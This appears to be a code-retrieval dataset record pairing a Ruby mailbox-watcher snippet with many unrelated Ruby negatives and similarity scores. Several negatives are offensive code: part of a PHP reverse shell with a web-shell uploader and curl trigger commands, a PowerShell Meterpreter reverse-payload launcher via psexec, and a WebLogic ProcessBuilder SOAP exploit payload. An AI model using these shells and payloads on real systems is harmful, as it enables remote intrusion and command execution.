stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0); printit(\\\"Successfully opened reverse shell to $ip:$port\\\"); while (1) { if (feof($sock)) { printit(\\\"ERROR: Shell connection terminated\\\"); break; } if (feof($pipes[1])) { printit(\\\"ERROR: Shell process terminated\\\"); break; } $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null); if (in_array($sock, $read_a)) { if ($debug) printit(\\\"SOCK READ\\\"); $input = fread($sock, $chunk_size); if ($debug) printit(\\\"SOCK: $input\\\"); fwrite($pipes[0], $input); } if (in_array($pipes[1], $read_a)) { if ($debug) printit(\\\"STDOUT READ\\\"); $input = fread($pipes[1], $chunk_size); if ($debug) printit(\\\"STDOUT: $input\\\"); fwrite($sock, $input); } if (in_array($pipes[2], $read_a)) { if ($debug) printit(\\\"STDERR READ\\\"); $input = fread($pipes[2], $chunk_size); if ($debug) printit(\\\"STDERR: $input\\\"); fwrite($sock, $input); } } fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process); function printit ($string) { if (!$daemon) { print \\\"$string\\\"; } }; ?>\" # Pentestmonkey's PHP Reverse Shell, Many THanks!\n end\n break\n else\n print_line(\"\")\n print_error(\"Oops, Didn't quite understand that one\")\n print_error(\"Please Choose a Valid Option From Menu Below Next Time.....\")\n print_line(\"\")\n end\n end\n while(true)\n print_caution(\"Writable Path Options: \")\n print_caution(\"1) Known Writable Path\")\n print_caution(\"2) Fuzz w/Paths File\")\n answer = gets.chomp\n if answer.to_i == 1\n print_caution(\"Remote Writable Path: \")\n answer = gets.strip.chomp\n if answer =~ /\\/$/\n remote_paths = [ answer ]\n else\n remote_paths = [ \"#{answer}/\" ]\n end\n print_line(\"\")\n break\n elsif answer.to_i == 2\n while(true)\n print_caution(\"Local File for Fuzzing Writable Path: \")\n answer = gets.strip.chomp\n print_line(\"\")\n if File.exists?(answer.strip.chomp)\n paths = File.open(answer.strip.chomp).readlines\n remote_paths=[]\n paths.each { |x| remote_paths << x }\n break\n else\n print_error(\"Can't find or read provided file!\")\n print_error(\"Check path or permissions and try again...\")\n print_line(\"\")\n end\n end\n break\n else\n print_line(\"\")\n print_error(\"Oops, Didn't quite understand that one\")\n print_error(\"Please Choose a Valid Option From Menu Below Next Time.....\")\n print_line(\"\")\n end\n end\n file_write(remote_paths, payload.mysqlhex, payload_filename)\n if reverse\n print_caution(\"URL to Trigger Reverse Shell: \")\n answer = gets.chomp\n print_line(\"\")\n print_status(\"Trying to trigger reverse shell, make sure listener is ready...\")\n sleep(3) # Dramatic pause to give a sec for listener prep\n [email protected](answer)\n if res[1] == 200\n print_good(\"200 Response Received!\")\n print_good(\"Hopefully you caught a shell....\")\n else\n print_error(\"Bad Response Received, not sure things went as planned. Sorry.....\")\n end\n end\n if simple\n print_caution(\"Do you want to try and connect to Simple Shell (Y/N)?\")\n answer = gets.chomp\n print_line(\"\")\n if answer.upcase == 'Y' or answer.upcase == 'YES'\n print_caution(\"URL to Shell (http://site.com/images/shellname.php): \")\n url = gets.chomp\n simple_shell(simple_connect.to_i, url)\n else\n print_status(\"OK, will leave it to you...\")\n print_status(\"In case you were wondering, to connect via Curl: \")\n case simple_connect.to_i\n when 1\n print_line(\"SYSTEM SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_CMD_HERE>\")\n when 2\n print_line(\"EVAL SHELL:\\ncurl -s http://site.com/path/2/shell.php?foo=<INSERT_BASE64_ENCODED_PHP-CMD_HERE>\")\n when 3\n print_line(\"PASSTHRU HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_CMD_HERE>\\\"\")\n when 4\n print_line(\"CREATE_FUNCTION EVAL HEADER SHELL:\\ncurl -s http://site.com/path/2/shell.php -H \\\"FOO: <INSERT_BASE64_ENCODED_PHP-CMD_HERE>\\\"\")\n end\n end\n end\n end",
"def shout(word)\n# irb(main):012:1> \nreturn \"HOLA\"\n# irb(main):013:1> \nend",
"def print_sales_report_ASCII\n $report_file.puts \"\n\n ╔═╗┌─┐┬ ┌─┐┌─┐ ╦═╗┌─┐┌─┐┌─┐┬─┐┌┬┐\n ╚═╗├─┤│ ├┤ └─┐ ╠╦╝├┤ ├─┘│ │├┬┘ │\n ╚═╝┴ ┴┴─┘└─┘└─┘ ╩╚═└─┘┴ └─┘┴└─ ┴\n\"\nend",
"def get_filecode()\n \"__EMIT_#{ARGV[0].gsub(/[^\\w]/, \"_\").upcase}__\"\nend",
"def escape\n $sorto = nil\n $viewctr = 0\n $title = nil\n #$filterstr = \"M\"\n #visual_block_clear\n refresh\nend",
"def cli_execute_make_transform_scaffold\n File.open(File.dirname(__FILE__)+'/data/transform_template.rb.tmpl','r') do |f|\n body = f.readlines.join('')\n body.gsub!('%%timestamp%%',Time.now.strftime(\"%a, %d %b %Y\"));\n body.gsub!('%%app name%%',cli_program_name);\n STDOUT.syswrite body\n end\n end",
"def power_shell_hell\n if MSFPATH.nil? or MSFPATH == ''\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" MSF Path not provided, can't use this option without it!\".white\n puts \"[\".light_red + \"*\".white + \"]\".light_red + \" Check the source for where to edit to enable....\".white\n puts\n else\n puts \"Windows Powershell Payload Builder\".white.underline\n puts\n line = Readline.readline(\"(IP for PowerShell Reverse Payload)> \", true)\n zIP = line.chomp\n line = Readline.readline(\"(PORT for PowerShell Reverse Payload)> \", true)\n zPORT = line.chomp\n winz = { \n '1' => 'windows/meterpreter/reverse_http',\n '2' => 'windows/meterpreter/reverse_tcp',\n '3' => 'windows/shell/reverse_tcp',\n '4' => 'windows/shell/reverse_http',\n '5' => 'windows/x64/meterpreter/reverse_https',\n '6' => 'windows/x64/meterpreter/reverse_tcp',\n '7' => 'windows/x64/shell/reverse_tcp'\n }\n while(true)\n puts \"Select Payload\".light_yellow + \": \".white\n winz.each { |x,y| puts \"#{x}) \".white + \"#{y}\".light_yellow }\n answer=gets.chomp\n if answer.to_i > 0 and answer.to_i <= 7\n payload=winz[\"#{answer.to_i}\"]\n break\n end\n end\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \"Generating Base ShellCode for Payload.....\".white\n # Preps and Builds our PowerShell Command to run\n ps_cmd = powershell_builder(\"-p #{payload} LHOST=#{zIP} LPORT=#{zPORT}\")\n if @tmp.nil?\n # Failed to find out %TEMP%, ask user for writable location...\n puts \"Provide a writable location for temporary storage, like\".light_yellow + \": C:\\\\\\\\\\\\\\\\WINDOWS\\\\\\\\Temp\".white\n line = Readline.readline(\"(Temp Path to use)> \", true)\n tmp = line.chomp\n puts\n else\n tmp=@tmp\n end\n puts \"[\".light_yellow + \"*\".white + \"]\".light_yellow + \" Make sure listener is ready if needed.....\".white\n puts \"[\".light_blue + \"*\".white + \"]\".light_blue + \" Attempting to run PowerShell payload on target.....\".white\n sleep(3)\n text = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.txt\"\n bat = \"#{tmp}\\\\#{Rex::Text.rand_text_alpha(16)}.bat\"\n cmdexec = \"%COMSPEC% /C echo #{ps_cmd} ^> #{text} > #{bat} & %COMSPEC% /C start %COMSPEC% /C #{bat}\"\n smb_psexec(cmdexec)\n files=[text, bat]\n cleanup_after(files, false)\n end\nend",
"def main()\n date = getDate() # getting of date\n volume = getVol() # getting of volume\n batt = getBatt() # getting of battery\n cpu = getCPU( \"only\" )\n mem = getMem()\n # wifi = getWifi()\n wifi = getIsWifi()\n\n output = sprintf( \"%s %s %s %s %s %s\", cpu, mem, batt, volume, wifi, date )\n # output = sprintf( \"%s %s %s %s %s\", mem, batt, volume, wifi, date )\n\n puts( output )\n # system( \"xsetroot -name \" + '\"' + output + '\"' )\nend",
"def print_console_sales_report_ascii\n puts sales_report_ascii\nend",
"def rossini; end",
"def autorun; end",
"def king_richard_iii_quote; end",
"def commands_for_vm\n [{:write_file => {:filename => @filename, :content => @code}},\n {:execute => {:command => \"#{VM_PYTHON} -c \\\"compile(open('#{@filename}').read(), '', 'exec')\\\" && echo success\",\n :stdout => 'syntaxchecksuccess',\n :stderr => 'syntaxcheckfail'}}]\n # in this case execution only triggers the initial syntax check, the rest is handled\n # in postprocess_print\n end",
"def furkan\nprint \"some text\"\nend",
"def generate_codepage_table(cp)\n puts \"Generating codepage table for #{cp}\"\n ranges = codepage_table(cp)\n open(cp.downcase+\".go\", \"w\") do |f|\n f.puts \"package codepage\", \"\"\n f.puts \"var #{cp.gsub('-', '_')} = Codepage{\"\n ranges.each do |range|\n f.puts \"\\t{0x%04X, 0x%04X, %d, %d},\" % [range.first, range.first + range.count - 1, range.count, range.delta]\n end\n f.puts \"}\"\n end\nend",
"def printResult(result)\r\n puts\r\n puts \" Least number of times you can copy paste a \"\r\n puts \" print statement: #{result}\"\r\n puts \"======================== END ========================\\n\\n\"\r\nend",
"def defaultScript(file)\n mylog = Logger[Ciowa_log]\n \n #name = /.*\\/(.+)\\.(view|vew|html|htm)/.match(file.path)[1]\n name = @@view_file_regex.match(file.path)[1]\n r = ''\n \n my_docroot = @docroot\n my_docroot << C_slash unless my_docroot[-1,1] == C_slash\n my_docroot_minus_slash = my_docroot.sub(/\\/$/,C_empty)\n filepath = file.path\n filepath = filepath.sub(/#{my_docroot}/,C_empty)\n \n path_parts = filepath.split(C_slash)\n # Knock the filename off of the array.\n path_parts.pop\n # And put the docroot path onto the beginning of the array.\n path_parts.unshift my_docroot_minus_slash\n df_found = nil\n search_path = ''\n while path_parts.length > 0\n search_path << \"#{path_parts.shift}/\"\n default_script_file = search_path + 'DefaultScriptFile.iwa'\n default_script_file.gsub(/\\/\\//,C_slash)\n if FileTest.exists? default_script_file\n df_found = default_script_file\n end\n end\n \n if df_found\n File.open(df_found,'r') do |fh|\n fh.each {|line| r << line}\n end\n mylog.info \"Loaded #{df_found} for script file for #{file.path}\"\n else\n r << \"<%class [--CLASSNAME--] < Iowa::Component; end%>\"\n df_found = 'INTERNAL'\n mylog.info \"Used basic scriptfile for #{file.path}\"\n end\n \n r = r.gsub(/\\[--CLASSNAME--\\]/,name)\n [r,df_found]\n end",
"def my_first_interpreter code\n # Implement your interpreter here\n text = ''\n count = 0\n x = 0\n while x < code.length do \n if code[x] == '+'\n count += 1\n elsif code[x] == '.'\n text << count.chr\n end\n if count >= 256\n count = 0\n end\n x += 1\n end\n text\nend",
"def setup\n bin = File.basename $0\n name = bin.underscore\n\n erb_src_path = ::Thor::ROOT.join 'support',\n 'completion',\n 'complete.inc.bash.erb'\n\n erb_src = erb_src_path.read\n\n bash_src = binding.erb erb_src\n\n puts bash_src\n\n nil\n end",
"def whiny; end",
"def e_sh_js(str)\n (e_sh str).gsub(\"\\\\\", \"\\\\\\\\\\\\\\\\\")\nend",
"def help\n puts \"#{$0} - parses EIS binary formatted files\"\nend",
"def conscript\n puts \"Too old to be conscripted\"\n end",
"def exploit_process_builder_payload\r\n # Generate a payload which will execute on a *nix machine using /bin/sh\r\n xml = %Q{<soapenv:Envelope xmlns:soapenv=\"http://schemas.xmlsoap.org/soap/envelope/\">\r\n <soapenv:Header>\r\n <work:WorkContext xmlns:work=\"http://bea.com/2004/06/soap/workarea/\">\r\n <java>\r\n <void class=\"java.lang.ProcessBuilder\">\r\n <array class=\"java.lang.String\" length=\"3\" >\r\n <void index=\"0\">\r\n <string>#{cmd_base}</string>\r\n </void>\r\n <void index=\"1\">\r\n <string>#{cmd_opt}</string>\r\n </void>\r\n <void index=\"2\">\r\n <string>#{payload.encoded.encode(xml: :text)}</string>\r\n </void>\r\n </array>\r\n <void method=\"start\"/>\r\n </void>\r\n </java>\r\n </work:WorkContext>\r\n </soapenv:Header>\r\n <soapenv:Body/>\r\n</soapenv:Envelope>}\r\n end",
"def e_sh(str)\n str.to_s.gsub(/(?=[^a-zA-Z0-9_.\\/\\-\\x7F-\\xFF\\n])/n, '\\\\').gsub(/\\n/, \"'\\n'\").sub(/^$/, \"''\")\nend",
"def candle(wxs_file, flags=[])\n flags_string = flags.join(' ')\n if ENV['BUILD_UI_ONLY'] then\n flags_string << \" -dBUILD_UI_ONLY\"\n end\n flags_string << \" -dlicenseRtf=conf/windows/stage/misc/LICENSE.rtf\"\n flags_string << \" \" << variable_define_flags\n Dir.chdir File.join(TOPDIR, File.dirname(wxs_file)) do\n sh \"candle -ext WiXUtilExtension -ext WixUIExtension -arch x86 #{flags_string} #{File.basename(wxs_file)}\"\n end\nend",
"def autofinish; end"
] |
[
"0.58934945",
"0.5837265",
"0.5837265",
"0.5559588",
"0.55195606",
"0.54865474",
"0.5468192",
"0.5315692",
"0.5306723",
"0.5285056",
"0.5285056",
"0.52834463",
"0.52663547",
"0.5258956",
"0.5257607",
"0.52551585",
"0.5242363",
"0.52340305",
"0.5219313",
"0.5161903",
"0.51371217",
"0.5135011",
"0.51348644",
"0.51034456",
"0.509765",
"0.5096102",
"0.50585556",
"0.5043382",
"0.50394285",
"0.50374544",
"0.50273395",
"0.50143176",
"0.50074625",
"0.5002008",
"0.49965364",
"0.49851003",
"0.4977335",
"0.49760726",
"0.49661133",
"0.4955866",
"0.4953118",
"0.4938571",
"0.4935921",
"0.4931187",
"0.49254942",
"0.49207017",
"0.4918512",
"0.49115115",
"0.49069583",
"0.49067986",
"0.49027663",
"0.48918262",
"0.4890878",
"0.48906523",
"0.48880216",
"0.4885527",
"0.4875792",
"0.48711205",
"0.4858048",
"0.4851878",
"0.48514986",
"0.48467788",
"0.48441312",
"0.483989",
"0.48327184",
"0.48283872",
"0.48267713",
"0.48248148",
"0.48247382",
"0.48140398",
"0.48116538",
"0.4803541",
"0.4799951",
"0.4794996",
"0.47947687",
"0.47947508",
"0.47923395",
"0.47918874",
"0.4790865",
"0.47867918",
"0.47866118",
"0.47858435",
"0.4785582",
"0.47759745",
"0.4773279",
"0.4768573",
"0.47648925",
"0.47621697",
"0.47583273",
"0.47557104",
"0.47541216",
"0.47488752",
"0.47462898",
"0.4745557",
"0.47431916",
"0.47413728",
"0.47301623",
"0.4729582",
"0.47286037",
"0.47256133",
"0.4716493"
] |
0.0
|
-1
|
build watchers for a set of mailboxes
|
def initialize(mailboxes)
self.watchers = []
mailboxes.each {|box| self.watchers << MailboxWatcher.new(box)}
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def add_watchers(obj)\n if user.allowed_to?(\"add_#{obj.class.name.underscore}_watchers\".to_sym, obj.project)\n addresses = [email.to, email.cc].flatten.compact.uniq.collect {|a| a.strip.downcase}\n unless addresses.empty?\n User.active.having_mail(addresses).each do |w|\n obj.add_watcher(w)\n end\n end\n end\n end",
"def watchers\n if args.empty?\n watchers_list\n return\n end\n\n case args.shift\n when \"add\"\n email = args.shift\n create_watcher(email)\n puts \"Added #{email} as a watcher\"\n return\n when \"remove\"\n email = args.shift\n delete_watcher(email)\n return\n when \"clear\"\n clear_all_watchers\n puts \"All watchers removed\"\n return\n end\n raise(CommandFailed, \"see: heroku help ranger\")\n end",
"def set_mailboxes(mailboxes_config)\n mailboxes_config.each do |attributes|\n self.mailboxes << Mailbox.new(attributes)\n end\n end",
"def init_mails\n # change the mail directory\n Dir.chdir(@maildirpath)\n # get all files from there (except hidden ones)\n mailfiles = Dir.glob('*')\n \n # go through all found mails\n mailfiles.each do |mail|\n # open them\n f = File.new(mail, 'r')\n \n sender = nil\n date = nil\n mailer = nil\n f.each_line do |line| \n if line.match(/^From: /)\n line.gsub!(/From: /, '')\n # only set sender if sender wasn't defined before (if it was nil before)\n sender = MailParser.get_mail_address(line)[0] if sender.nil?\n elsif line.match(/^Date: /)\n line.gsub!(/Date: /, '')\n date = Date.parse(line) if date.nil?\n elsif line.match(/^X-Mailer: /)\n mailer = line.gsub(/X-Mailer: /, '') if mailer.nil?\n end\n end\n \n # add the parsed, lightened mail to our list of mails\n @mails << Mail.new(sender, date, mailer)\n end\n end",
"def init_mailers\n not_matched = []\n # go through all senders\n @senders.each do |name, value|\n # go through all mails\n value.mails.each do |mail|\n # now go though all defined mailers\n found = false\n @mailers.each do |mailername, regexes|\n # go through all defined regexes for that mailer\n \n regexes.each do |regex|\n # create a regex\n re = Regexp.new(regex)\n # add the mailer to sender if the regex matches\n # means: the mail was sent by this mailer\n if re.match(mail.mailer)\n value.add_mailer(mailername) \n found = true\n end\n \n end\n end\n \n # get the unknown mailers (not matched by any rules in settings.yaml)\n if not found and mail.mailer\n mail.mailer.chomp!\n # include them to the list, but only if they aren't already there\n unless not_matched.include? mail.mailer\n not_matched << mail.mailer\n end\n end\n end\n end\n return not_matched\n end",
"def run\n log \"Flagging tasty messages\"\n\n message_count = 0\n mailboxes = find_mailboxes\n\n mailboxes.each do |mailbox|\n @mailbox = mailbox\n @imap.select @mailbox\n log \"Selected #{@mailbox}\"\n\n message_count += process_unlearned_flagged\n message_count += process_tasty_unflagged\n message_count += process_bland_flagged\n message_count += process_unlearned\n end\n\n log \"Done. Found #{message_count} messages in #{mailboxes.length} mailboxes\"\n end",
"def start_watch_files\n coffee_files.each do |file|\n @notifier.watch(file, :modify) do\n CoffeeCompiler.compile_file(file, true, true)\n end\n end\n end",
"def watchman_triggers\n JSON.parse(`watchman trigger-list #{root_dir}`)['triggers'] || []\nend",
"def mailboxes\n if @mailboxes.nil?\n list_mailboxes\n end\n @mailboxes\n end",
"def mailboxes\n if @mailboxes.nil?\n list_mailboxes\n end\n @mailboxes\n end",
"def _for(*keywords)\n @watchers.each do |watcher|\n watcher._for(*keywords)\n end\n self\n end",
"def generate_watcher_widgets\n @dtw_all_watchers = {}\n @watchers.each { | w, wname, wdesc |\n @dtw_all_watchers[w] = g = {}\n g[:dt] = dtw = {}\n g[:widget] = wid = {}\n hf = newHFFlat @f_watcher_switcher\n w.fields.each { |sym, type, default, name, desc|\n dtw[sym] = FXDataTarget.new(default)\n wid[sym] = case type\n when :bool\n newLabel(hf, name)\n newCheck(hf, '', target: dtw[sym])\n when :int\n newLabel(hf, name)\n newIntegerField(hf, target: dtw[sym])\n when :float\n newLabel(hf, name)\n newNumberField(hf, target: dtw[sym])\n when :string\n newLabel(hf, name)\n newTextField(hf, target: dtw[sym])\n end \n }\n }\n end",
"def make_mailbox mailbox\n Dir.mkdir(mailbox)\n %w{cur tmp new}.each do |dir|\n Dir.mkdir(File.join(mailbox,dir))\n end\n end",
"def generate_config(watchers)\n watchers.each do |watcher|\n # if service doesnt have backup block, skip it\n next unless watcher.backup\n log.info \"#{watcher.name} - #{watcher.backends} - #{watcher.haproxy} - #{watcher.backup}\"\n \n @watcher_configs[watcher.name] = parse_watcher_config(watcher)\n backup_conf_file = watcher.backup['backup_conf_file']\n cron_conf_file = watcher.backup['cron_conf_file']\n gzip = watcher.backup['gzip']\n name = watcher.name\n\n # generate backup config\n databases_stanza = generate_stanza(\"#{@backup['databases']['type']}.erb\", @watcher_configs[watcher.name]['databases'])\n storages_stanza = generate_stanza(\"#{@backup['storages']['type']}.erb\", @watcher_configs[watcher.name]['storages'])\n notifiers_stanza = generate_stanza(\"#{@backup['notifiers']['type']}.erb\", @watcher_configs[watcher.name]['notifiers'])\n final_config = generate_backup(name, databases_stanza, storages_stanza, notifiers_stanza, gzip)\n log.info \"config array is #{final_config}\"\n\n write_config(final_config, backup_conf_file)\n\n # generate cron job config \n run_command = \"#{@opts['run_command']} --config-file #{@opts['config_file']} --trigger #{name}\"\n cron_config = \"#{watcher.backup['cron']} #{run_command} > /dev/null 2>&1\"\n\n if @opts['do_cron']\n write_config(cron_config, cron_conf_file)\n end\n end\n end",
"def directories_to_watch\n []\n end",
"def create_mailings!\n caffeinate_campaign.to_dripper.drips.each do |drip|\n mailing = Caffeinate::Mailing.new(caffeinate_campaign_subscription: self).from_drip(drip)\n mailing.save!\n end\n caffeinate_campaign.to_dripper.run_callbacks(:on_subscribe, self)\n end",
"def run_all\n #run_on_changes(Watcher.match_files(self, Dir.glob(\"**/*.*\")))\n @builder.notify(true)\n end",
"def watchMail(imap, folder)\n \n # Loop for checking message increase in the folder\n begin\n \n imap.select(folder)\n \n # Get the current folder size\n fsize = imap.status(folder, [\"MESSAGES\"])\n csize = fsize[\"MESSAGES\"]\n \n loop do\n fsize = imap.status(folder, [\"MESSAGES\"])\n if fsize[\"MESSAGES\"] > csize\n message_ids = imap.uid_search(\"ALL\")\n uid = message_ids.last\n email = imap.uid_fetch(uid, \"ENVELOPE\")[0].attr[\"ENVELOPE\"]\n pp \"[#{email.from[0].name}] #{email.subject}\"\n csize = fsize[\"MESSAGES\"]\n else\n sleep(10)\n end\n end\n rescue => e\n exit(1)\n end\nend",
"def mailboxes_list\n get \"mailboxes\"\n end",
"def main()\n # create the worker\n w = Worker.new\n # let him load his settings from the yamlfile\n w.load_settings\n \n # initialize the mails in the maildir\n w.init_mails\n w.init_senders\n w.init_author_mails\n w.unknown_authors\n w.author_mails\n puts\n w.mails_per_day\n \n unm = w.init_mailers\n puts\n w.unknown_mailers(unm)\n \n w.used_mailers\nend",
"def notify_all(notifier_keys)\n Thread.start(notifier_keys) do |keys|\n sleep 1 # let the call to #listen occur\n keys.each do |key|\n DB.run DB[\"NOTIFY #{key.inspect}\"].sql\n end\n end\n end",
"def init_worker\n worker = FChange::Notifier.new\n @directories.each do |directory|\n watcher = worker.watch(directory, :all_events, :recursive) do |event|\n next if @paused\n @mutex.synchronize do\n @changed_dirs << File.expand_path(event.watcher.path)\n end\n end\n worker.add_watcher(watcher)\n end\n worker\n end",
"def build_inbox\n folders.build(:name => \"Inbox\")\n end",
"def build_inbox\n folders.build(:name => \"Inbox\")\n end",
"def notified_watchers\n notified = (watcher_users.active + watcher_users_through_groups.active).uniq\n notified.reject! {|user| user.mail.blank? || user.mail_notification == 'none'}\n if respond_to?(:visible?)\n notified.reject! {|user| !visible?(user)}\n end\n notified\n end",
"def mailboxes(domain = Mailgun.domain)\n Mailgun::Mailbox.new(self, domain)\n end",
"def setup_runners\n @runners = (0...@number_of_threads).map do |i|\n Thread.new(abort_on_exception: true) do\n @logger.debug(\"UPDATE HANDLER\") { \"Runner #{i} ready for duty\" }\n loop do\n change = subject = index_types = type = nil\n begin\n @mutex.synchronize do\n if @queue.length > 0 && (DateTime.now - @queue[0][:timestamp]) > @min_wait_time\n change = @queue.shift\n subject = change[:subject]\n type = change[:type]\n index_types = @subject_map.delete(subject)\n end\n end\n if !change.nil?\n large_queue = 500\n if (@queue.length > large_queue) && (large_queue % @number_of_threads == 0)\n # log only once per nb_of_threads\n @logger.warn(\"UPDATE HANDLER\") { \"Large number of updates (#{@queue.length}) in queue\" }\n end\n @logger.debug(\"UPDATE HANDLER\") { \"Handling update of #{subject}\" }\n handler(subject, index_types, type)\n end\n rescue StandardError => e\n @logger.error(\"UPDATE HANDLER\") { \"Update of subject <#{subject}> failed\" }\n @logger.error(\"UPDATE HANDLER\") { e.full_message }\n end\n sleep 5\n end\n end\n end\n end",
"def notify_collections *updates\n @collections.each {|coll| instance_variable_get(\"@#{coll}\").notify_members *updates }\n end",
"def start\n puts \"Watcher RUNNING------------------->\"\n loop do\n unless (diff = build_file_list - @org_file_list).empty?\n # sleep 0.5\n diff.each do |meta|\n @callbacks[:new_file_created].call(meta[0])\n end\n exit\n end\n sleep 0.5\n end\n end",
"def group_watchers\n return [] unless group\n\n user_ids = group\n .notification_settings\n .where(source_or_global_setting_by_level_query(:watch)).select(:user_id)\n\n user_scope.where(id: user_ids)\n end",
"def watch_commits\n watch( \"COMMIT_EDITMSG\") do |md| \n run_all\n end\nend",
"def project_watchers\n notification_by_sources = related_notification_settings_sources(:watch)\n\n return if notification_by_sources.blank?\n\n user_ids = NotificationSetting.from_union(notification_by_sources).select(:user_id)\n\n user_scope.where(id: user_ids)\n end",
"def watch(watched_dirs)\n watched_dirs << @directory\n end",
"def find_mailboxes\n mailboxes = @imap.list(@root, \"*\")\n\n if mailboxes.nil? then\n log \"Found no mailboxes under #{@root.inspect}, you may have an incorrect root\"\n return []\n end\n\n mailboxes.reject! { |mailbox| mailbox.attr.include? :Noselect }\n mailboxes.map! { |mailbox| mailbox.name }\n\n @box_re = /^#{Regexp.escape @root}#{Regexp.union(*@boxes)}/\n\n mailboxes.reject! { |mailbox| mailbox !~ @box_re }\n mailboxes = mailboxes.sort_by { |m| m.downcase }\n log \"Found #{mailboxes.length} mailboxes to search:\"\n mailboxes.each { |mailbox| log \"\\t#{mailbox}\" } if @verbose\n return mailboxes\n end",
"def watch(*keys, &block); end",
"def start_watchers\n # Watcher callbacks are invoked in a separate Ruby thread. Note that there\n # is a possible deadlock between invoking watcher callbacks and calling\n # close(): if we get a watcher event and a close at around the same time,\n # the close might fire first. Closing the Zk handle will block on\n # dispatching outstanding watchers, but it does so holding the @zk_mutex,\n # causing a deadlock. Hence, we just have the watcher callback spin on the\n # @zk_mutex, aborting if the handle is ever closed.\n @child_watcher = Zookeeper::Callbacks::WatcherCallback.new do\n while true\n break if @zk.closed?\n if @zk_mutex.try_lock\n get_and_watch unless @zk.closed?\n @zk_mutex.unlock\n break\n end\n end\n end\n\n @stat_watcher = Zookeeper::Callbacks::WatcherCallback.new do\n while true\n break if @zk.closed?\n if @zk_mutex.try_lock\n stat_and_watch unless @zk.closed?\n @zk_mutex.unlock\n break\n end\n end\n end\n\n stat_and_watch\n end",
"def sync_new(mailbox)\n # Skip any mailbox with attributes in ignore_attr\n return if ! (mailbox.attr & @@ignore_attr).empty?\n return if !@running\n\n name = Net::IMAP.decode_utf7(mailbox.name)\n cache = @mailboxes[name] || Mailbox.new(name)\n\n puts \"Examining mailbox #{name}\"\n\n begin\n @imap.examine(mailbox.name)\n rescue => e\n puts \"Failed to examine mailbox: #{e}\"\n return\n end\n\n uidvalidity = @imap.responses[\"UIDVALIDITY\"][-1]\n uidnext = @imap.responses[\"UIDNEXT\"][-1]\n\n if cache.uidvalidity != uidvalidity\n puts \"UIDVALIDITY differ, rescaning all mailbox\"\n ids = @imap.search([\"NOT\", \"DELETED\"])\n else\n if (cache.uidmax + 1 == uidnext)\n puts \"No new messages\"\n return\n end\n puts \"UIDVALIDITY match, get new messages only\"\n ids = ((cache.uidmax + 1) .. uidnext).to_a\n end\n\n puts \"; got #{ids.size} messages\"\n\n while(!(block = ids.shift(@@buf_size)).empty?)\n\n break if ! @running\n puts \"; requesting messages #{block.first}..#{block.last} from server\"\n\n msgs = @imap.fetch((block.first..block.last), [\"UID\", \"X-GM-MSGID\", \"X-GM-THRID\", \"X-GM-LABELS\", \"FLAGS\", \"RFC822\"])\n\n if ! msgs\n puts msgs\n next\n end\n\n msgs.each { |msg|\n break if ! @running\n\n body = msg.attr[\"RFC822\"]\n body.force_encoding(\"binary\") if body.respond_to?(:force_encoding) \n body.gsub(\"\\r\\n\", \"\\n\")\n\n labels = msg.attr[\"X-GM-LABELS\"].push(name).collect { |label| Net::IMAP.decode_utf7(label.to_s) }\n\n state = msg.attr[\"FLAGS\"].collect { |flag| flag.to_s.downcase.to_sym }\n puts state\n\n begin\n response = RestClient.post \"http://localhost:8042/message.json\", \n { :body => body, :labels => labels, :state => state, :mailbox => name },\n { :content_type => :json, :accept => :json}\n rescue RestClient::ResourceNotFound => e\n puts \"Warning: resource not found\"\n next\n rescue => e\n puts \"Failed to communicate with heliotrope : #{e.class}\"\n @running = false\n break\n end\n\n puts response \n response = JSON.parse(response)\n\n if response[\"response\"] == \"ok\"\n if response[\"status\"] == \"seen\"\n cache.num_seen += 1\n else\n cache.num_indexed += 1\n end\n else\n cache.num_bad += 1\n puts \"Error for message: \" + response[\"error_message\"]\n end\n\n cache.uidmax = [cache.uidmax || 0, msg.attr[\"UID\"]].max\n }\n end\n\n puts \"Store mailbox #{name} cache\"\n cache.uidnext = uidnext\n cache.uidvalidity = uidvalidity\n @mailboxes[name] = cache\n save_mailboxes\n end",
"def list_all(mailbox)\n\tmailbox.list(:new) + mailbox.list(:cur)\nend",
"def send_mail(changed_watched_paths, hash, paths_by_users)\n \n # send one email for email address\n paths_by_users.keys.each do |user_email|\n subject=nil\n body=String.new @body_prefix\n \n # merge in the changed paths this user is interested in\n paths_by_users[user_email].each do |watched_path|\n \n if changed_watched_paths[watched_path]\n \n body << \"\\n\" << changed_watched_paths[watched_path].join(\"\\n\")\n # take any to generate the branch\n if !subject\n \n subject= String.new @subject_prefix\n subject << extract_branch(changed_watched_paths[watched_path])\n subject << \" by user \"\n subject << hash[:author]\n\t @logger.debug(\"Subject is=\"<< subject)\n end\n end \n end\n \n body << \"\\n\\nuser: \" << hash[:author]\n body << \"revision: \" << hash[:rev]\n body << \"\\ndate: \" << hash[:date]\n body << \"comment: \" << hash[:log] \n \n yield(user_email, subject, body)\n \n end\n end",
"def add_watcher(*params)\n tid = params[0]\n addr = []\n type = \"cc\"\n addr = params[1] if params.size > 1\n type = params[2] if params.size > 2\n if params[0].class == Hash\n params = params[0]\n tid = params[:id] if params.has_key? :id\n addr = params[:addr] if params.has_key? :addr\n type = params[:type] if params.has_key? :type\n end\n addr = addr.lines.to_a.uniq # make it array if its just a string, and remove dups\n type.downcase!\n tobj = show(tid) # get current watchers\n ccs = tobj[\"cc\"].split(\", \")\n accs = tobj[\"admincc\"].split(\", \")\n reqs = tobj[\"requestors\"].split(\", \")\n watchers = ccs | accs | reqs # union of all watchers\n addr.each do |e|\n case type\n when \"cc\"\n ccs.push(e) if not watchers.include?(e)\n when \"admincc\"\n accs.push(e) if not watchers.include?(e)\n when \"requestors\"\n reqs.push(e) if not watchers.include?(e)\n end\n end\n case type\n when \"cc\"\n edit(:id => tid, :Cc => ccs.join(\",\"))\n when \"admincc\"\n edit(:id => tid, :AdminCc => accs.join(\",\"))\n when \"requestors\"\n 